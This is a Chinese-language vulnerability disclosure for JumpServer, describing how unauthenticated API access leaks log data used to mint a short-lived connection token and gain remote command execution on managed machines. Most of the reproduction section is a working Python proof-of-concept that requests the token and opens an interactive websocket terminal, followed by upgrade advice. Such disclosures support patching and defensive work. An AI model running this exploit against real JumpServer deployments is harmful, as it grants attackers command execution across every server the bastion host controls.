概述
风险等级:高
缺陷描述:
由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,再通过敏感信息获取一个20s的token,最后利用这个token去执行相关API操作控制其中所有机器或者执行任意命令。
危害描述:
利用该漏洞获取服务器权限,实现远程代码执行。
漏洞验证
漏洞地址:http://XXX.testin.cn/
漏洞验证:
访问地址:192.168.1.6:8080
首次登录,初始密码admin:admin。
登录成功后,创建用户,授权资产进入后台添加配置。 资产管理 --> 系统用户
资产管理 --> 管理用户
用户管理 --> 用户列表
资产管理 --> 资产列表
使用py脚本获取user asset system_user 这三个值。
使用poc进行命令执行。
import os
import asyncio
import aioconsole
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=1"
def get_celery_task_log_path(task_id):
task_id = str(task_id)
rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
path = os.path.join("/opt/jumpserver/", rel_path)
return path
async def send_msg(websocket, _text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
async def send_loop(ws, session_id):
while True:
cmdline = await aioconsole.ainput()
await send_msg(
ws,
json.dumps(
{"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "n"}
),
)
async def recv_loop(ws):
while True:
recv_text = await ws.recv()
ret = json.loads(recv_text)
if ret.get("type", "TERMINAL_DATA"):
await aioconsole.aprint(ret["data"], end="")
# 客户端主逻辑
async def main_logic():
print("#######start ws")
async with websockets.connect(target) as client:
recv_text = await client.recv()
print(f"{recv_text}")
session_id = json.loads(recv_text)["id"]
print("get ws id:" + session_id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps(
{
"id": session_id,
"type": "TERMINAL_INIT",
"data": '{"cols":164,"rows":17}',
}
)
await send_msg(client, inittext)
await asyncio.gather(recv_loop(client), send_loop(client, session_id))
if __name__ == "__main__":
host = "http://192.168.1.6:8080"
cmd = "whoami"
if host[-1] == "/":
host = host[:-1]
print(host)
data = {"user": "c572a1e0-9965-4fd4-bc9e-af841ae92199", "asset": "766c315c-dcbc-4745-8671-a27c101babc6",
"system_user": "9ab1e9d4-b8a6-47d7-9f75-3e88da9b214d"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = (
"ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token
)
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic())
成功进行命令执行。
修复建议
JumpServer堡垒机(含社区版及企业版)用户升级至安全版本。
1.JumpServer堡垒机>=v2.6.2版本
2.JumpServer堡垒机>=v2.5.4版本
3.JumpServer堡垒机>=v2.4.5版本



